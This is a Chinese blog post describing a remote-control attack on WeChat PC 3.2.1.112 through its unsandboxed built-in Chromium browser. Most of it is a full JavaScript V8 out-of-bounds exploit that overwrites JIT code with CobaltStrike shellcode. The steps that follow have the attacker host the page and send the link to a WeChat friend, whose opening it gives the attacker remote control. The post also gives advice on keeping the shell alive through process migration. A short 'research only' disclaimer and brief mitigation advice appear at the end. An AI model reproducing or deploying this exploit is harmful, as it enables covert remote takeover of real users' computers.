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利用微信内置浏览器Chrome漏洞实现远控.md

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利用微信内置浏览器Chrome漏洞实现远控

环境:微信PC版本3.2.1.112

利用步骤:
1.首先使用CobaltStrike生成一个x86格式的shellcode。
 

2.搭建一个测试网站,将下方0day poc放入。

ENABLE_LOG = true;
IN_WORKER = true;


var shellcode = [shellcode];
function print(data) {
}


var not_optimised_out = 0;
var target_function = (function (value) {
    if (value == 0xdecaf0) {
        not_optimised_out += 1;
    }
    not_optimised_out += 1;
    not_optimised_out |= 0xff;
    not_optimised_out *= 12;
});

for (var i = 0; i < 0x10000; ++i) {
    target_function(i);
}


var g_array;
var tDerivedNCount = 17 * 87481 - 8;
var tDerivedNDepth = 19 * 19;

function cb(flag) {
    if (flag == true) {
        return;
    }
    g_array = new Array(0);
    g_array[0] = 0x1dbabe * 2;
    return 'c01db33f';
}

function gc() {
    for (var i = 0; i < 0x10000; ++i) {
        new String();
    }
}

function oobAccess() {
    var this_ = this;
    this.buffer = null;
    this.buffer_view = null;

    this.page_buffer = null;
    this.page_view = null;

    this.prevent_opt = [];

    var kSlotOffset = 0x1f;
    var kBackingStoreOffset = 0xf;

    class LeakArrayBuffer extends ArrayBuffer {
        constructor() {
            super(0x1000);
            this.slot = this;
        }
    }

    this.page_buffer = new LeakArrayBuffer();
    this.page_view = new DataView(this.page_buffer);

    new RegExp({ toString: function () { return 'a' } });
    cb(true);

    class DerivedBase extends RegExp {
        constructor() {
            
            super(
                
                
                {
                    toString: cb
                }, 'g'
                
                
            );

            
            
            this_.buffer = new ArrayBuffer(0x80);
            g_array[8] = this_.page_buffer;
        }
    }

    
    var derived_n = eval(`(function derived_n(i) {
        if (i == 0) {
            return DerivedBase;
        }

        class DerivedN extends derived_n(i-1) {
            constructor() {
                super();
                return;
                ${"this.a=0;".repeat(tDerivedNCount)}
            }
        }

        return DerivedN;
    })`);

    gc();


    new (derived_n(tDerivedNDepth))();

    this.buffer_view = new DataView(this.buffer);
    this.leakPtr = function (obj) {
        this.page_buffer.slot = obj;
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
    }

    this.setPtr = function (addr) {
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
    }

    this.read32 = function (addr) {
        this.setPtr(addr);
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
    }

    this.write32 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
    }

    this.write8 = function (addr, value) {
        this.setPtr(addr);
        this.page_view.setUint8(0, value, ...this.prevent_opt);
    }

    this.setBytes = function (addr, content) {
        for (var i = 0; i < content.length; i++) {
            this.write8(addr + i, content[i]);
        }
    }
    return this;
}

function trigger() {
    var oob = oobAccess();

    var func_ptr = oob.leakPtr(target_function);
    print('[*] target_function at 0x' + func_ptr.toString(16));

    var kCodeInsOffset = 0x1b;

    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
    print('[*] code_addr at 0x' + code_addr.toString(16));

    oob.setBytes(code_addr, shellcode);

    target_function(0);
}

try{
    print("start running");
    trigger();
}catch(e){
    print(e);
}

End...

3.微信发送给任意好友,在pc端用内置浏览器打开url即可成功上线。
 

4.使用CobaltStrike工具即可实现远控等一系列操作,CobaltStrike简介及使用教程请看我的另一篇文章:http://blog.tianles.com/71.html

漏洞产生原因:
微信内置浏览器为QQ浏览器,QQ浏览器使用chrome内核且沙箱处于关闭状态。

注:微信关闭网页shell会掉问题,可进程迁移解决。

影响范围:
微信PC版:3.2.1.141版本及以下
使用chrome内核89.0.4389.114以下版本的浏览器(edge,360浏览器,google chrome,谷歌浏览器等)

预防措施:
将微信升级至3.2.1.141版本以上,不点击陌生链接。

截至发文日期:2021.4.17,最新版微信内核仍未更新,仍然可以使用其他手段来绕过,从而实现远控!

本文提供的poc仅供技术研究使用,请勿非法使用。
本文部分内容参考靓仔Jaky的公众号文章,在此特别感谢靓仔。


本文链接:http://blog.tianles.com/99.html

天乐原创文章,转载请注明出处!